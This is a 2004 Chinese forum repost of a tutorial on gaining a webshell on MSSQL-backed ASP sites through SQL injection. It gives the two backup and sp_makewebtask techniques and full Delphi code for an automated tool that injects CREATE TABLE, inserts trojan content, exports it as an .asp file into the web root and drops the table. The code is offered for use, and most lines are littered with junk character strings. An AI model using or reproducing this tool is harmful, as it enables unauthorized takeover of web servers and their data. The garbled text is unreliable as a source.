数学建模社区-数学中国

标题: SQL注入得到WEBSHELL [打印本页]

作者: 韩冰    时间: 2004-11-21 00:13
标题: SQL注入得到WEBSHELL
<>一.通过SQL注入得到WEBSHELL的原理:   |" h. \, U5 y, D5 a" k$ h
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
* M3 H, v3 ?/ B5 m$ {分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 : q9 X  I; k+ X
再来看看CZY的方法吧。 ( |/ @  {! _, s0 h/ K! T& o
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 . Z) R- T# R8 \5 V; {* R& Z
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 * G: g) Y* w# W# {# K
二.利用DELPHI去实现功能的前言
* _4 y  i# _% {0 C5 p: D原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
1 C! T: j$ `- v* e6 L1 p* X# ]% b( S2 m( B
三.如何利用DELPHI得到WEBSHELL。
! \, a1 q" v3 }8 y. a; n6 o9 ~程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。& \% v: J! t, D: E+ c* U/ F
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: $ U, S2 ?% A' I* p7 @) S  ]) A  V, E
& I6 T) N3 n! G8 w% n6 c; G* e9 I
0 S! ~$ N! M9 o7 @

# g& {4 o4 Q$ L1 ?7 g现在来写程序了。
9 c8 s( p# I6 p  z我们首先定义一个RECORD。 ' n  n4 y9 e/ l5 @' a4 U$ Q- K
如下:& n% L( E  }1 p- {
Type
) d( ^  l" j5 _7 E) M: ^5 D+ Y# _SetOption = Record ) G! e- s4 u2 @( G
TableName : String; //用来保存要创建的表名.
" u3 l2 X# Y. y9 n2 z  J# S  rFieldName : String; //用来保存要创建的字段名. & \# E$ y$ @, T+ o1 A
FiledType : String; //用来保存创建的字段名类型. $ k/ V* ]) @# ~) I# X% t
End;
- a4 t7 m+ [' b: I& V  tFiledType字段类型的值是以下类型的一种: # i% ^7 t+ M. D: E3 U5 G
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint 2 z. u0 V, f9 \* Y7 n
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 6 s& e' Y9 h* y# |
再定义一个全局变量:
9 ^9 y" q2 U, V  z$ b9 aVar & l- f8 e+ r9 `
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
9 u  T& z8 Z! J  Y! |8 O% ~- T好了。在表单创建的过程中,我们为RECORD记录输入默认值. & s$ E5 @8 N# R
代码如下:
: J5 d3 H4 A% ^8 y+ L2 Xprocedure TMainForm.FormCreate(Sender: TObject); 5 f; P2 B& g% t6 R' g' R) h
begin ; R5 |& G( I& B. k) F8 W  A7 D
sOption.TableName :='cyfd'
5 M1 g) O5 w  T! O) _0 WsOption.FieldName :='gmemo'
' v2 z& Z8 h4 e: C8 S8 X- ]- XsOption.FiledType :='text'
4 a! V4 y4 ]# J: z! f$ gend;
0 b/ }6 K3 C* K6 l现在我们添加开始执行命令的代码。
1 F8 J9 D4 K0 G+ k6 {; }* K$ R先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. 6 t; P1 d1 k9 g6 X! g0 h
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. ; I# y" e- N( x! l4 W
在程序开始执行前,我们得先检查一下用户的输入 : T) f  Z4 b; h! j& c
定义一个Checkinput函数.
% T4 T2 ?; B9 a. H+ @& ~, i如下:   i' t5 N) M7 x& d  Z, e
Function CheckInput : Boolean; ( r, L" G8 N/ J; d. p
Begin $ G/ K$ v; |' j/ }$ f8 e
Result := False; 7 C' U/ Q9 }* B& [
if Trim(urlet.Text) = '' then 3 M  D! r4 m2 w! e, A1 g
Begin 2 X0 g) E) A8 w: M" c1 _
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); 2 c! k' x# ^6 |: Z, L& m9 _
Exit; 7 Q4 ~' m0 d5 j; r) J
End;
9 z  Z1 x/ A/ u% o( L+ M% |if Trim(ShellPathET.Text) = '' then ; j! e  v# t/ O$ f
Begin
  S! Z3 Z# w: U* NApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
$ W1 J6 i9 l- a3 ^" [- V: uExit;
( f, S& V* F9 t8 o$ S- e/ |End; 7 u$ f' h. i+ P7 H
IF DefBDoor.Checked then
1 _- `/ h) m9 l! l% p# PBegin
- g  q: }5 b$ V+ v- ~0 D0 _if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then 7 \* [, S) s% y* i) j
Begin 2 i, G6 c# r. m/ d2 R
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
; V+ \4 `$ F/ A1 j' mExit;
" o* g* l) w4 W& oEnd; + o* `# v+ R& m! [; Q* n
End
4 q8 W. R  W# t6 {Else
# W- |: S% }0 K+ z4 I+ z' ]$ B6 D5 Fif Not FileExists(CustomBdoorET.Text) then
) x, y( Y  n( p, XBegin
* F% u9 A$ d% y4 b; |; kApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); ' \, u1 c& v( ^0 G0 Y: \1 h4 n
Exit; 2 B! e& v" y9 Y+ f$ Q6 J! K, g
End;
! B! }; d# y4 e: OResult := True;
* B6 Y( ~% H$ d+ g7 p. l. FEnd; 8 }! |* A- Z! z0 `# w( [! Y
在最开始加入:
- W2 J4 {' g4 l& k8 H# Y1 J. jIF Not CheckInput then Exit; //如果输入不合法就退出过程.
& z; j! ^- V2 s好了,如果用户输入没什么错,我们就来下面的代码。
' e: G- S2 U% f1 }2 J  }8 N首先我们把IsStop设为假。创建BdoorList。   b. O- G9 \, M: Z
BDoorList := TstringList.Create;
) Z- H& o/ I% t. \) ^: @$ w再加木马内容到BDoorlist.
: P' q- F$ ^% tBDoorList.LoadFromFile(CustomBdoorET.text); + t* T: r( L! W7 v
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 % K# O0 x4 _3 A1 L
代码如下: ' g- _) V4 W+ D" K" B1 c( w
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
; r: g+ O$ A6 U! n+ qBDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); 9 r) P& b1 I( t4 d2 C  [
接下来.我们就提交建表的功能了.
- O, t+ b1 W: S+ J3 g9 q* IMemo.Lines.Add('建表...');
3 b$ m9 F2 Y/ v1 s; F: vMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 9 c2 h% h, e, l1 W
这样我们就创建了一个表。然后.我们向表中加记录: - Q/ X# ]4 k- y$ l  N
代码如下: * r" c* _* A4 |
Memo.Lines.Add('加数据...');
7 g5 I  e: a7 g- k' D- mMemo.Lines.Add(''); ; P' ?: A9 W" i2 _
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. 2 B$ U& Y, E) p5 V/ t
Begin # t( i( p: \5 [; r
IF IsStop then //这里如果点了停止按纽程序将终止任务. 7 {+ t  T3 r: _( d
Begin
* z8 A, ^0 q4 {& C, m% MBDoorList.Free;
! w2 b* U5 C) ~# d/ oExit;
3 |! S  f8 b9 F& ]* q3 U4 q9 J$ h* A. c3 ZEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
* e' h% ?; C' s! aMemo.Lines.Add('Add Line '+Inttostr(i+1)); 7 F( s6 W% s' O* j/ q
End; $ E+ V. Z- O+ Q, o& V
现在就是导出数据生成木马了. ( l4 R. W/ K! t
Memo.Lines.Add('导出数据...');
1 g2 b0 Y# K& l' B2 c9 wMemo.Lines.Add('');
: ?" ^) \7 T& ?% m: u  s' ~IF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 4 j! l" U0 |6 w2 H0 c& D( O
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
& S6 j; V7 N8 Y2 J1 m) VElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
2 u- M4 C* K2 s  g- Z" V我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
2 i! e/ _; _" i+ H& g这样我们的任务就完成了。下面来释放变量.
& {3 E. m0 s4 tBDoorList.Free; $ h) J7 @; D. d3 l( }+ d6 u
再来向停止按纽中添加点击事件: # V7 w* W5 C7 C- C% v
一行代码就行了:IsStop := True; / }' [! n  h/ `+ d/ |
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
" j3 }0 a# l; f( R) x- J; w设置表单中先引用主表单.然后在界面中添加二个EDIT控件: ! f: I9 g3 V* F( g7 Z- m2 X4 O
第一个名称为:TableNameET //保用户输入的存临时表 ; s: F& R$ ]& I& d) i5 y7 q, k
第二个名称为:FieldNameET //用来保存用户输入的字段名.
  _& h  H. n. Z* Q( k) k再添加一个Combobox //用来保存用户所选的字段类型值.
; x% [0 P% i" _$ m名称:FieldTypeCombox
& U" ]5 L6 z1 C3 C- ZOK.界面如下: / W1 \$ Y0 j3 s1 v( c. y3 T- T

1 M! Q' V2 y4 E2 V" Y; ?代码如下:
8 ?( |+ z0 P/ z2 Z( q* ?4 g定义一个过程,主表单好调用这个设置。 8 h- J: C  Q& q
Procedure ShowSet; ) W( j4 }7 n) u7 K# Z
Begin
  r- E: @3 ^( ^Application.CreateForm(TSetForm,SetForm);
6 I! R$ R4 p0 L- w6 G* iWith SetForm do
; E8 f1 v/ o, x! F( xBegin % W" l; I7 j7 T9 h; }# [! c
TableNameET.Text := sOption.TableName;
3 ]& w) }; A$ i) d, }: i4 eFieldNameET.Text := sOption.FieldName; 1 G- W$ ^8 P& E6 p- K5 o( x6 L. M
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); 6 j  l8 Y" n2 Y: c- \. r3 v
End; ! i8 O9 t9 @! p# c
SetForm.ShowModal;
  a' o7 Y% I. v# r: QSetForm.Free; " S2 O1 _+ k, k3 e/ e' ^) }
End; $ p4 {/ Q- w5 g* T" l  T
在主表单中设置的点击事件中添加上showset过程就行了。
6 ~, j# T- A* W下面就是点击确定的代码了。 4 D9 M8 ^4 l! v  l4 I
IF CheckInput then
! A4 v- C4 c3 k/ e/ pBegin , I/ {$ Z: \; d
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. 1 u" M7 e  D4 W, ~# e
sOption.FieldName := Trim(FieldNameET.Text);
% F/ R# l5 Z4 r$ a) D+ l# y' AsOption.FiledType := FieldTypeCombox.Text;
$ w: Y2 H' B: k( ^Close; 4 I/ Q" U/ V- b/ l  w
End;
/ k; J+ Y1 u+ E/ o" p/ K这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
( K- L5 f1 _6 F9 r7 b2 E7 [/ g代码如下: ; P+ x* B& p; B% E4 |+ |
Function CheckInput : Boolean;
2 G) i/ o3 v2 b2 _8 rBegin
/ J: |, h0 Z% P( _9 S! X$ n$ H, j6 UResult := False; # v: Q' Z7 F9 x% I6 Y( t8 b$ Z* n
IF Trim(TableNameET.Text)='' then ' z& r& C% u( ~6 U
Begin
1 W; d: k) g% MApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); 9 c4 u6 S- O% P5 X
Exit;
2 ?3 b. C' e# B+ oEnd; % a, e+ ~0 R9 X, `
IF Trim(FieldNameET.Text)='' then
% {1 N( R/ O. ~- Z/ W3 e: EBegin ; v% c2 z7 y# K* x4 r" C
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
! v2 m$ s# |1 o5 A; tExit; - r4 }* y1 ^- i, z3 i
End; # Q$ ]- N- r9 S, h2 ?, w! Z% v$ m
Result := True;
) d# K; w0 \" o( {: \3 s2 tEnd; # u' M4 y6 o- N3 s5 v3 V
到这里程序就完了。</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5